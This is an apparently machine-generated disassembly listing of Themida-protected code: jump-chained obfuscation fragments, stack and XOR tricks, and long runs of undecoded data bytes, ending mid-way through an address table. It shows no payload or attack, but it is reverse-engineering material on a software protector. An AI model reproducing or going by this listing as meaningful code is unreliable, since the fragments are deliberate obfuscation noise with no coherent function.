loc_54C89D: ; CODE XREF: Themida_:00541BF7j xor edx, 22717E48h jmp loc_54CC26 ; --------------------------------------------------------------------------- loc_54C8A8: ; CODE XREF: Themida_:00547FC5j xor al, 8 jmp loc_544128 ; --------------------------------------------------------------------------- db 83h dd 148704EAh, 4895C24h, 34BA5224h, 811FBF67h, 165765EAh dd 0BDE28112h, 81167E14h, 458735C2h, 0E9D08993h, 0FFFFD8ADh dd 241C8B66h, 0E904EC83h, 0FFFF7B8Ah, 6FBE565Ah, 811AC977h dd 56582DCEh, 81DEF736h, 913D65C6h, 768DE93Ah, 0E789FFFFh dd 4C781h, 0C7810000h, 4, 5C243C87h, 815B5453h, 4C3h, 6956800h dd 4890000h, 2C92B824h, 0E950187Fh, 0FFFFC1D4h, 5C24048Fh dd 56241C89h, 7F34A9BEh, 364E921h, 8B660000h, 168240Ch dd 89000058h, 0FF54241Ch, 815B2434h, 4C4h, 0A2E95200h dd 68FFFF5Bh, 2C24h, 50241489h, 0FFDBA3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C969: ; CODE XREF: Themida_:005470D0j or edx, ebp pop ebp shr edx, 6 neg edx jmp loc_541A09 ; --------------------------------------------------------------------------- dw 2C31h dd 242C3324h, 6624248Bh, 9C240429h, 0FF49EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C989: ; CODE XREF: Themida_:00542484j not ecx xor ecx, 0D022983Fh mov eax, ecx mov ecx, [esp] add esp, 4 add ebx, eax pop eax xchg ebx, [esp] pop esp push esi jmp loc_54D521 ; --------------------------------------------------------------------------- dw 0F001h dd 2404875Eh, 0AB0F665Ch, 0E99C2404h, 0FFFF49C0h, 0E924048Bh dd 0FFFF7C15h, 0E9C80F5Ch, 0FFFF4F21h, 3ECB685Fh, 4890000h dd 6865B824h, 61E97427h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C9DB: ; CODE XREF: Themida_:0054C21Ej xchg eax, [esp] pop esp mov [esp], ebx push edx mov edx, 785006F5h dec edx push edi mov edi, 60874409h neg edi add edi, 37BF4E04h shl edi, 4 dec edi jmp loc_54192F ; --------------------------------------------------------------------------- dd 48BC231h, 0E1895124h, 4C181h, 57E90000h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CA13: ; CODE XREF: Themida_:00549F62j push edx mov edx, 3CC44E0Bh add edx, 35946237h xor edx, 16A71713h inc edx shl edx, 4 jmp loc_549D7A ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0EF830000h, 74FF5704h, 0E95F0424h, 0FFFFFEE8h dd 7C7E981h, 0D10116A0h, 7C7C181h, 815A16A0h, 9610D7E9h dd 0E4E98142h, 10ACC3Fh, 240C8BCFh, 3304C483h, 3C31243Ch dd 0F967E924h, 34FFFFFFh, 2434FF24h, 4C48159h, 0E9000000h dd 0FFFFE18Fh, 7B4D8E68h, 24148B41h, 0FF8580E9h, 242C89FFh dd 503330BDh, 6DE58174h, 8130136Ch, 0E3217F5h, 45DDF779h dd 418AC581h, 0EE0189FAh, 1EE815Dh, 81000000h, 0E745A0C6h dd 61EF81C8h, 1373434h, 9540E9F7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CACA: ; CODE XREF: Themida_:005449E9j mov ecx, 0 push esi mov esi, 8D0466Ch add ecx, esi pop esi jmp loc_548F3F ; --------------------------------------------------------------------------- db 52h, 89h, 0E2h dd 4C281h, 0C2810000h, 4, 5C241487h, 4BB53h, 0DE010000h dd 0FF4EE6E9h, 4C483FFh, 5107E8C1h, 4263BBB9h, 15E72D37h dd 0C8010CA9h, 0A915E705h, 903EE90Ch, 0E952FFFFh, 0FFFF60D4h dd 8F2AC281h, 0D729E4F0h, 0FFCF76E9h, 24048FFFh, 5B2434FFh dd 0E904C483h, 0FFFF6475h, 0CC88D988h, 0AA04E959h, 0C7FEFFFFh dd 0EF80C7FEh, 5BF8000Dh, 0C128C404h, 59C88858h, 0FF528AE9h dd 6C6868FFh, 14890000h, 0D4EBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CB6A: ; CODE XREF: Themida_:0054B34Cj push ecx jmp loc_54D1FC ; --------------------------------------------------------------------------- loc_54CB70: ; CODE XREF: Themida_:0054C029j mov ecx, esi mov ebx, ecx pop ecx pop esi and eax, ebx push dword ptr [esp] mov ebx, [esp] push 6083h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push esi jmp loc_545CD1 ; --------------------------------------------------------------------------- dd 68h, 24342900h, 0FFA06FE9h, 53555AFFh, 7866C2BBh, 6F48E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CBBE: ; CODE XREF: Themida_:005496CCj add eax, ecx jmp loc_545C8A ; --------------------------------------------------------------------------- db 5Eh, 8Fh, 4 dd 0B3535C24h, 0F0F38026h, 0FF6E19E9h, 242C89FFh, 0C5815D54h dd 4, 0FF8CAFE9h, 405FFh, 0C0830000h, 535A6804h, 4890000h dd 2474FF24h, 48F5804h, 0C5815C24h, 4, 2BE56h, 0F5010000h dd 242C875Eh, 6624248Bh, 6824048Bh, 2D06h, 54241489h, 0E30E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CC26: ; CODE XREF: Themida_:0054C8A3j sub edx, 2AE97ACBh jmp loc_544408 ; --------------------------------------------------------------------------- loc_54CC31: ; CODE XREF: Themida_:0054B486j mov esi, ecx jmp loc_54836D ; --------------------------------------------------------------------------- dd 107EF281h, 0D3091FBDh, 0F3EB815Ah, 0E97FFD16h, 0FFFF7C27h dd 0D4E92EB5h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CC53: ; CODE XREF: Themida_:00542AD0j xchg ebp, [esp] pop esp jmp loc_547F9B ; --------------------------------------------------------------------------- dd 4C4835Fh, 11E9C231h, 53FFFF47h, 4F6568h, 240C8900h dd 22FC1B9h, 8BCB8951h, 0C481240Ch, 4, 0D15BDD29h, 30BE56E5h dd 31D974B7h, 4B36E9F5h, 5488FFFFh, 8B660224h, 0C4832414h dd 46D6E902h, 0EEC1FFFFh, 4A3CE906h, 0F2B6FFFFh, 0E527E951h dd 0E957FFFFh, 0FFFF9386h, 6A1C20B9h, 0E7E98104h, 565EA10Fh dd 45EFB951h, 0F8E95929h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CCCF: ; CODE XREF: Themida_:00549C38j mov bh, al push eax mov eax, 38h add eax, edi jmp loc_5454B2 ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0C2810000h, 4, 0FFB8DBE9h, 0DDBD55FFh, 45504A69h dd 5D9AF581h, 0C8E94C81h, 89FFFFE0h, 90E9243Ch, 5DFFFF76h dd 0E904C483h, 0FFFFE839h, 0F031C631h, 0FF6F50E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CD1D: ; CODE XREF: Themida_:0054480Aj push 55Eh mov [esp], edx jmp loc_54BF91 ; --------------------------------------------------------------------------- dw 0EA80h dd 0E9D000C8h, 0FFFF4D30h, 592434FFh, 0E904C483h, 0FFFF8EF0h dd 535DEA89h, 0D9895B52h, 0DE95A5Bh, 28FFFFD1h, 0AC32E9C8h dd 1489FFFFh, 4815324h, 0F41EC124h, 0EA815A1Bh, 1BF41EC1h dd 0B02BE952h, 2868FFFFh, 8900007Eh, 0B850240Ch, 51F908DDh dd 0C108E8C1h, 0BD5502E8h, 0FFEB81BFh, 0FFDACBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CD8D: ; CODE XREF: Themida_:0054C30Ej add eax, 0FFFFFFFFh xor eax, 5938DAE0h push edx mov edx, 0BCEFD608h add eax, edx jmp loc_542073 ; --------------------------------------------------------------------------- dw 8B66h dd 8952240Ch, 4C281E2h, 81000000h, 2C2h, 24148700h, 4EC815Ch dd 89000000h, 0B1512414h, 302CB6DBh, 90E959CEh, 0FEFFFFE9h dd 2CE80C6h, 0FF7880E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CDD9: ; CODE XREF: Themida_:0054D81Ej inc ecx push esi mov esi, 7C3272A9h xor ecx, esi pop esi xor ecx, 6FB35470h inc ecx push edi mov edi, 4B054A5Fh or edi, 52AD6FF6h jmp loc_547E49 ; --------------------------------------------------------------------------- db 0BDh dd 3F542ECCh, 0FFEDF6E9h, 0E38953FFh, 96CBE957h, 148BFFFFh dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FF9842E9h dd 454AE9FFh, 0C831FFFFh, 0FFE45DE9h, 4C483FFh, 8B24048Fh dd 89662424h, 0F66240Ch, 5166C8B6h, 452AE99Ch, 7401FFFFh dd 44810424h, 3730424h, 835E770Eh, 3C8904ECh, 6285BF24h dd 0BF573AC5h, 1E371C1Dh, 0FF7FD2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CE71: ; CODE XREF: Themida_:0054164Cj push eax jmp loc_543D1B ; --------------------------------------------------------------------------- db 52h dd 0FFE5D6E9h, 0E96304FFh, 0FFFFC407h, 7E8C15Dh, 0F6539C05h dd 581F0D06h, 0CEE91301h, 0C1FFFF9Eh, 350D02E0h, 0E94EF339h dd 0AE1h, 34A62D5Ah, 0E8016BF8h, 22CE9h, 2C48100h, 66000000h dd 375BC381h, 50C32966h, 2ADEB866h, 0FFC631E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CEC9: ; CODE XREF: Themida_:00544686j push esp mov ebx, [esp] add esp, 4 push ecx jmp loc_549881 ; --------------------------------------------------------------------------- dw 34FFh dd 0F379E924h, 0F781FFFFh, 3EE54848h, 0FFB4F6E9h, 27C968FFh dd 1C890000h, 0E94FB324h, 0FFFF9A3Dh, 6851E089h, 0E3F76EBh dd 0FFD2A5E9h, 242C8BFFh, 904C483h, 0E95B1C5Fh, 0FFFFF528h dd 4903D4B9h, 81D1F753h, 0DB11E1C1h, 87D9F70Ch, 87D2F7D1h dd 81D9F7D1h, 0EDA32F1h, 59CD2178h, 0FF7977E9h, 240489FFh dd 0FFE3CAE9h, 166858FFh, 8900000Fh, 74FF2434h, 34FF0424h dd 0DEE95E24h, 83FFFFFEh, 0A0E904EBh, 0FFFFFFEDh, 68592434h dd 530Ah, 89243489h, 4C681E6h, 57000000h, 2BB5BD55h, 0F5E90CB0h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CF7F: ; CODE XREF: Themida_:005428B4j add esp, 4 jmp loc_547002 ; --------------------------------------------------------------------------- loc_54CF8A: ; CODE XREF: Themida_:00549DAAj xor ebx, edx jmp loc_541490 ; --------------------------------------------------------------------------- db 66h, 5Bh, 0E9h dd 0FFFFD277h ; --------------------------------------------------------------------------- loc_54CF98: ; CODE XREF: Themida_:00548481j sub bl, dh jmp loc_5457C7 ; --------------------------------------------------------------------------- db 87h dd 0E95C241Ch, 0FFFF85AEh ; --------------------------------------------------------------------------- loc_54CFA8: ; CODE XREF: Themida_:00543E5Dj pop ecx or ebx, 4E63DF6h and ebx, 526F2375h shl ebx, 6 dec ebx xor ebx, 0F7954Ch xor eax, ebx pop ebx jmp loc_54BC6D ; --------------------------------------------------------------------------- db 0C1h dd 0D9F703E1h, 3BB5C181h, 0CE896F13h, 8BF13159h, 0C4832434h dd 0E9CA0104h, 0FFFFCE3Ch, 0FFE9015Dh, 815D2434h, 4C4h dd 4E98100h, 87000000h, 895C240Ch, 9C502414h, 0FF4373E9h dd 4C181FFh, 51000000h, 42474FFh, 0FFC82FE9h, 0E95A58FFh dd 0FFFF569Dh, 0E9241C8Bh, 0FFFFD913h, 9D1C77FFh, 4185866h dd 45E99C24h, 59FFFF43h, 42Dh, 24048700h, 240C895Ch, 0FFAB39E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D045: ; CODE XREF: Themida_:00545DC5j push dword ptr [esp] mov eax, [esp] push edx mov edx, esp add edx, 4 jmp loc_545FB8 ; --------------------------------------------------------------------------- db 5Bh, 1, 0FEh dd 0FFECC1E9h, 51F828FFh, 7E2C26B5h, 0FFED8EE9h, 5141B5FFh dd 0EA88BCB5h, 0FF4772E9h, 5AD501FFh, 24B9BA52h, 0E3E9421Dh db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D087: ; CODE XREF: Themida_:0054C56Bj push 7CA93CC6h jmp loc_5480F7 ; --------------------------------------------------------------------------- db 50h, 89h, 0E0h dd 405h, 40500h, 4870000h, 56585C24h, 4C0CE957h, 8B66FFFFh dd 1682404h, 8900004Ah, 5B54241Ch, 8904EC83h, 4B82404h dd 1000000h, 535058C3h, 0FF9416E9h, 0E9895FFFh, 0B8FAE95Dh dd 0D530FFFFh, 0FFDC92E9h, 34A605FFh, 295D6BF8h, 48B2447h dd 4C48124h, 68000000h, 5F44h, 0FFBE96E9h, 3ECE81FFh, 5006E548h dd 7FE9h db 0 ; --------------------------------------------------------------------------- loc_54D105: ; CODE XREF: Themida_:00541FF3j push 6BB9h mov [esp], ebx sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_5459A0 ; --------------------------------------------------------------------------- loc_54D123: ; CODE XREF: Themida_:005461CBj add esp, 4 jmp loc_543084 ; --------------------------------------------------------------------------- loc_54D12B: ; CODE XREF: Themida_:00548D73j sub esi, 341327F6h xor esi, 0C9448BA3h mov ebp, esi jmp loc_54B32C ; --------------------------------------------------------------------------- loc_54D13E: ; CODE XREF: Themida_:00541EF3j xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp or [esp], al pushf jmp loc_541378 ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 33241C31h, 248B241Ch, 137E924h, 0EB290000h, 83242C8Bh dd 0BF5704C4h, 49602471h, 3C8BFB01h, 6C02E924h, 0A868FFFFh dd 0E900006Ah, 312h, 0B348C0B8h, 3A8F0556h, 0B9517FFBh dd 0B8D712Fh, 6643E981h, 0C801EB67h, 4D272D59h, 0E8C16FFBh dd 73A02D05h, 0B90514CAh, 318F590Fh, 814E58C6h, 0C1615F6h dd 0D7BA5253h, 815FD223h, 9A20FCEEh, 81D6290Eh, 9A20FCC6h dd 0F6815A0Eh, 0C35C17B5h, 1DE9F001h, 83FFFF7Eh, 0FE8904C4h dd 0D9C6815Fh, 5D2AC95h, 34B4613Ah, 0FFB443E9h, 24248BFFh dd 0E9243C89h, 0FFFF46A1h ; --------------------------------------------------------------------------- loc_54D1FC: ; CODE XREF: Themida_:0054CB6Bj push esp pop ecx add ecx, 4 jmp loc_54D3B4 ; --------------------------------------------------------------------------- db 31h, 3Ch, 24h dd 0FFD901E9h, 241C89FFh, 0BDE9CAB7h, 66FFFF57h, 57240C8Bh dd 0BE56E789h, 409C374Fh, 0FF9F24E9h, 4146E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D232: ; CODE XREF: Themida_:0054915Ej pop edi jmp loc_545D33 ; --------------------------------------------------------------------------- dd 0E484F781h, 8D2DCE0Fh, 107B95Fh, 84B1E9F8h, 8B66FFFFh dd 0C481241Ch, 2, 33C968h, 240C8900h, 3BB25253h, 3DE909B7h dd 0F7FFFFD1h, 6CEF81D7h, 126A977h, 685FF8h, 0E9000075h dd 0FFFF8937h, 405E089h, 0E9000000h, 4D1h, 24048F5Fh, 0FFD0B0E9h dd 243C8BFFh, 0FF4798E9h, 240C89FFh, 2848BB53h, 4AB909D1h dd 2909D128h, 0EA815BD9h, 291764A7h, 0C281CA01h, 291764A7h dd 83240C8Bh, 2DE904C4h, 66FFFFE4h, 0ADE99C51h, 59FFFF40h dd 5224148Bh, 0A740E954h, 48BFFFFh, 4C48324h, 0FF42E1E9h dd 0BB0559FFh, 0E93B8D47h, 14Fh, 6DE9C009h, 2CFFFF60h dd 595A66D8h, 0B60FC330h, 148B66C0h, 7620E924h, 0B951FFFFh dd 3BB34030h, 5DAFE181h, 0D9F72B40h, 590FE181h, 0C1416B26h dd 0C18107E9h, 0FF7FB3D2h, 6859CB01h, 4DFAh, 53243489h dd 2BBh, 5BDE8900h, 348BF329h, 4C48324h, 31241C33h, 1C33241Ch dd 24248B24h, 0FFAFC2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D351: ; CODE XREF: Themida_:0054A0C6j xchg edi, [esp] jmp loc_54BF52 ; --------------------------------------------------------------------------- db 95h, 58h, 57h dd 0FFFFFFBFh, 0CFF9E9FFh, 0D830FFFFh, 0FF6CDFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D36D: ; CODE XREF: Themida_:00542181j xchg ecx, [esp] pop esp xor ebp, 5C19166Ch mov edi, ebp push dword ptr [esp] pop ebp push ecx jmp loc_5482BF ; --------------------------------------------------------------------------- loc_54D383: ; CODE XREF: Themida_:00541B75j shr ecx, 2 jmp loc_547655 ; --------------------------------------------------------------------------- db 0Fh dd 0FFA3EE84h, 1C77FFFFh, 592434FFh, 0C9D5E955h, 0C89FFFFh dd 81E18924h, 4C1h, 4E98100h, 0E9000000h, 0FFFF670Fh ; --------------------------------------------------------------------------- loc_54D3B4: ; CODE XREF: Themida_:0054D204j sub ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_548759 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 1000000h, 4CBF57D8h, 815E6F3Fh, 11304BF7h, 4E7C155h dd 0E902EFC1h, 0FFFF79F0h, 3502E0C1h, 31B8311Dh, 799672Dh dd 0E9C30102h, 0FFFF5893h ; --------------------------------------------------------------------------- loc_54D3F8: ; CODE XREF: Themida_:0054258Fj mov [esp], esi mov esi, 29267EE7h sub esi, 29267EE7h mov [edx+38h], esi mov esi, [esp] push edi jmp loc_5459FB ; --------------------------------------------------------------------------- dw 0E981h dd 26D454AAh, 975BF181h, 0CB01485Bh, 0E9240C8Bh, 0FFFFC397h dd 6F70D2B8h, 0D3F7937Eh, 70D70593h, 0D5E97E6Fh, 29FFFF54h dd 47BB2DD0h, 835A3B8Dh, 0F9E904ECh, 0C0FFFFA2h, 0CF8004E7h dd 0AF78071h, 0E95BF830h, 0FFFFE346h, 58C2015Eh, 0D2F7D2F7h dd 0FF888BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D469: ; CODE XREF: Themida_:0054B3D0j pop ebp xor eax, 76B51E71h or esi, eax jmp loc_54B314 ; --------------------------------------------------------------------------- a_hsl db '_h‘l',0 align 4 dd 51241C89h, 0FFB1E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D485: ; CODE XREF: Themida_:005463C6j xor edx, [esp] mov esp, [esp] add esp, 4 jmp loc_541378 ; --------------------------------------------------------------------------- dw 0C89h dd 0B924h, 9AE90000h, 53FFFF42h, 0C381E389h, 4, 0FFC53EE9h dd 59CE01FFh, 0FF6266E9h, 36E952FFh, 1FFFFEBh, 0EC815EF1h dd 4, 51240489h, 0B64DEFB9h, 0B98CE962h, 0C481FFFFh, 4 dd 4C481h, 91E90000h, 81FFFF3Eh, 4C6h, 4EE8300h, 0E9243487h dd 0FFFFB956h, 76E06852h, 425A2951h, 357FCA81h, 0E2810E64h dd 385F77BEh, 8846C281h, 0D089D7AAh, 8324148Bh, 0C12904C4h dd 0FFB64CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D521: ; CODE XREF: Themida_:0054C9A1j sub esp, 4 jmp loc_548D63 ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 7E556800h, 2C890000h, 575D5424h, 0FF4B19E9h dd 0E9D8F6FFh, 0FFFFE8BAh, 8B5AD629h, 0D6E9243Ch db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D557: ; CODE XREF: Themida_:0054AEBBj push 59BA503Ah pop eax xor eax, 0A645AFC5h mov ebx, eax pop eax add ebp, ebx pop ebx jmp loc_546C0F ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 8E6A29BEh, 0C108E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D57A: ; CODE XREF: Themida_:0054ACE0j add edx, 8E4B92Eh jmp loc_54396D ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 4C781h, 0C7810000h, 2, 0FFCF0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D599: ; CODE XREF: Themida_:00544765j pop edx sub [edi+24h], ebx mov ebx, [esp] sub esp, 4 mov [esp], ebp push esp mov ebp, [esp] add esp, 4 jmp loc_545DAE ; --------------------------------------------------------------------------- db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5434B2 ; --------------------------------------------------------------------------- loc_54D5C7: ; CODE XREF: Themida_:00547AA5j xchg ebp, [esp] pop esp mov [esp], eax sub esp, 4 push esp pop dword ptr [esp] jmp loc_5450C7 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFFE315h, 0AE4DE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D5E6: ; CODE XREF: Themida_:0054438Bj push 10B43875h pop esi xor esi, 127843BCh mov ebx, esi pop esi sub eax, ebx jmp loc_546C68 ; --------------------------------------------------------------------------- dd 4C481h, 0EF800000h, 80E728E4h, 0E958E4C7h, 0FFFF9D1Dh dd 0EAA2F781h, 0FE2937A3h, 0E9D6015Fh, 0FFFFE39Fh ; --------------------------------------------------------------------------- loc_54D620: ; CODE XREF: Themida_:0054AFFBj push edx push edi push ecx mov ecx, 9716F2Fh not ecx not ecx xor ecx, 299B0AE6h jmp loc_542222 ; --------------------------------------------------------------------------- db 30h dd 2434FFC8h, 0E0895059h, 405h, 4BA5200h, 0E9000000h, 0FFFF62DDh dd 70CCE950h, 74FFFFFFh, 0E95E0424h, 0FFFFAE00h, 95BD829h dd 0BB5358C5h, 23503E0Ah, 0F95EB81h, 0DD3104BBh, 0FF3E37E9h dd 4C181FFh, 0E9000000h, 0FFFFD926h, 0C0FE610Ch, 0C100752Ch dd 0FF915BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D691: ; CODE XREF: Themida_:0054B8F0j add [esp+4], edx mov edx, [esp] add esp, 4 mov eax, [esp] add esp, 4 push 4B59h mov [esp], ebx mov ebx, 14ED52B7h jmp loc_544BCD ; --------------------------------------------------------------------------- dw 0C481h dd 4, 324AC681h, 0F289E7F5h, 2EAC15Eh, 338ECA81h, 0BD552FE1h dd 1, 0FF49A0E9h, 3BF681FFh, 8116A75Bh, 0E85684C6h, 5285E918h dd 0F766FFFFh, 0E99C241Ch, 0FFFF3C84h ; --------------------------------------------------------------------------- loc_54D6F4: ; CODE XREF: Themida_:0054C898j mov eax, [esp] push ecx push 5141h mov [esp], esp push ecx mov ecx, 4 jmp loc_542BAB ; --------------------------------------------------------------------------- db 81h dd 0CA2B95F5h, 23DF6830h, 0C890000h, 450AB924h, 0E5E90621h dd 52FFFF55h, 6C51FEBAh, 0ECCA8131h, 8145BC3Fh, 0E00293EAh dd 0B5DEE914h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D73A: ; CODE XREF: Themida_:00546C57j pop ecx add ecx, 52311EF6h add ecx, 7D9DA20Dh mov edx, ecx pop ecx mov ebp, edx pop edx push ebx push eax mov eax, 679F3E16h jmp loc_54A166 ; --------------------------------------------------------------------------- db 83h, 0C0h, 4 dd 5C240487h, 4C481h, 0EEE90000h, 48FFFFB5h, 80BFA805h dd 0F4EA818Ah, 0E9266111h, 0FFFF9607h, 0A5C38166h, 0EB816612h dd 0B70F6900h, 4CFBE9C0h, 0BA52FFFFh, 0F654893h, 81924092h dd 0B55F74CAh, 2EE95220h, 8BFFFFCDh, 0C481243Ch, 4, 5C243487h dd 89243C89h, 4C781E7h, 83000000h, 1DE904C7h db 43h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D7C3: ; CODE XREF: Themida_:0054A9E6j push ebp push ecx push eax mov eax, 155225B9h and eax, 39CE4C75h shl eax, 1 dec eax and eax, 549630Ah add eax, 549F5137h mov ecx, eax pop eax mov ebp, ecx pop ecx sub [esp+8], ebp jmp loc_54C0A4 ; --------------------------------------------------------------------------- dd 8324248Bh, 5CE904C4h, 80FFFF74h, 0D7E9BEC2h, 0FFFFF8h dd 0E99C2404h, 0FFFF3B70h ; --------------------------------------------------------------------------- loc_54D808: ; CODE XREF: Themida_:0054A6E2j pop eax dec esi and esi, 1FDF5CC1h jmp loc_549815 ; --------------------------------------------------------------------------- db 57h, 54h, 5Fh dd 0FFE3CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D81D: ; CODE XREF: Themida_:005482BAj pop ebx jmp loc_54CDD9 ; --------------------------------------------------------------------------- loc_54D823: ; CODE XREF: Themida_:0054194Bj xchg esi, [esp] pop esp jmp loc_5476EF ; --------------------------------------------------------------------------- dd 592434FFh, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 89243C89h dd 0C335E9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D84A: ; CODE XREF: Themida_:0054273Bj shr ecx, 0Bh push ebx push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_546F98 ; --------------------------------------------------------------------------- db 81h dd 5244F3F6h, 7AF68137h, 29710015h, 0A570E9F7h, 0DF87FFFFh dd 0DF31D3F7h, 0E4E9FB31h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D87F: ; CODE XREF: Themida_:00548FDCj mov [esp], esi push edi push esi push ebp mov ebp, 66B152ADh mov esi, 86DDBE0h sub esi, 140F2C2Ah add esi, ebp add esi, 140F2C2Ah pop ebp mov edi, esi pop esi sub edi, 1 shr edi, 8 sub edi, 215E4A3Ch jmp loc_548CCA ; --------------------------------------------------------------------------- loc_54D8B2: ; CODE XREF: Themida_:00549C1Bj shl edx, 1 push dword ptr [edi+24h] push 63D9h mov [esp], eax mov eax, 0FFFFFFFFh push esi mov esi, 549F5137h add [esp+8], esi pop esi add dword ptr [esp+4], 587A0D41h jmp loc_54A9DA ; --------------------------------------------------------------------------- loc_54D8DC: ; CODE XREF: Themida_:00544C0Fj pop ecx jmp loc_54482D ; --------------------------------------------------------------------------- loc_54D8E2: ; CODE XREF: Themida_:00543B72j add esi, ebx pop ebx xchg esi, [esp] pop esp or edx, eax shl edx, 1 push eax mov eax, esp jmp loc_54C214 ; --------------------------------------------------------------------------- db 68h, 0D1h, 77h dd 14890000h, 45236824h, 0C890000h, 0F763E924h, 0E0C1FFFFh dd 9B92E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D912: ; CODE XREF: Themida_:0054BBDBj push edi push 0B8C738Eh pop edi push edx mov edx, 3D122D62h sub edx, 22010CD7h or edx, 2F15986h xor edx, 0E40E8670h add edi, edx jmp loc_544AD8 ; --------------------------------------------------------------------------- dd 0DDDCE81h, 0E6C11EF8h, 0DDC68106h, 17C238Eh, 9FAFE9F2h dd 6853FFFFh, 6A12h, 0BA241489h, 0FEh, 64B468h, 24148900h dd 0E904EC83h, 0FFFFFC01h, 5C241487h, 91FC281h, 0B1E9590Dh dd 0B6FFFF66h, 29E680BFh, 0FFB6D2E9h, 739105FFh, 3E2D2CACh dd 0E9767D43h, 0FFFFB531h, 240C8B66h, 8581E956h, 0EC83FFFFh dd 240C8904h, 613509B9h, 5049496Ah, 343A21B8h, 7E0C136h dd 3504E8C1h, 0DADDE9Bh, 558C129h, 753F1B8Dh, 0FFCF62E9h dd 0B704FFh, 0E9B72CD8h, 0FFFFF876h, 24048B66h, 7CA368h dd 0DCABE900h, 0E929FFFFh, 0FFE014E9h, 2C8759FFh, 91E95C24h dd 68FFFFE9h, 35FFh, 89241489h, 4BF57E2h, 50000000h, 0FF89C2E9h dd 325B05FFh, 51577021h, 620340B9h, 3B94BF5Bh, 0CF29BBBBh dd 81DFF759h, 0FF38DCE7h, 8EFC133h, 8107EFC1h, 74C764F7h dd 0A8E6E905h, 875EFFFFh, 545C2414h, 0E924048Fh, 0FFFF4C38h dd 4C7815Fh, 83000000h, 3C8704C7h, 8B67E924h, 0BD55FFFFh dd 4, 0E95DEA01h, 0FFFF45C8h, 241C8966h, 8904EC83h, 0EDB62414h dd 38E9CEFEh, 66FFFFCEh, 68CCB60Fh, 4F61h, 89243489h, 7BF57E6h dd 81355079h, 0D05044F7h, 0F7E78116h, 87684827h, 0A6BBE9CFh dd 0FA13FFFFh, 3A10059h, 0CA640059h, 94BD0059h, 959CFA0Bh dd 3A1FFFFh, 8EB0059h, 213AD25h, 20000h, 2 dup(10000h) dd 94BD0000h, 0FA0Bh, 4 dup(0) dd 0C1F90000h, 0F8A80055h, 14CA0055h, 88780056h, 25680055h dd 9A2E0056h, 8A460055h, 758A0055h, 0B8FD0055h, 0A0630055h dd 0E0F30055h, 0BA50055h, 0D9A0056h, 237B0056h, 0C95B0056h dd 165D0055h, 0B8200056h, 83E60055h, 7D3A0055h, 0EEC0055h dd 8BFA0056h, 424D0055h, 0FF4F0055h, 0D0E40055h, 85600055h dd 165F0055h, 0FEC40055h, 0DCBB0055h, 0F3320055h, 0CF180054h dd 0DF210055h, 0B5170054h, 0ACE50055h, 38A70055h, 0B65A0055h dd 2770055h, 99D80056h, 6B800055h, 0C4EB0055h, 94AC0055h dd 0A86B0055h, 6CFD0055h, 9EEF0055h, 5E8B0055h, 8F3C0055h dd 0E5360055h, 90FD0055h, 1BB60055h, 98890056h, 0F7180055h dd 8C4B0055h, 5B9E0055h, 1AF40055h, 1C7E0056h, 0E23F0056h dd 0E8FC0055h, 0CE080054h, 511C0055h, 0BB1E0055h, 0BAE0055h dd 4F5E0055h, 9FC10055h, 0E2550055h, 9DC20054h, 635D0055h dd 93F50055h, 0C62B0055h, 0E5BB0055h, 0C7A60054h, 19000055h dd 33990056h, 0F3290055h, 78E90054h, 869F0055h, 13410055h dd 0F6130055h, 0AC3C0054h, 11840055h, 0D5B20055h, 0AF0B0055h dd 0D6170055h, 7B330055h, 5EFF0055h, 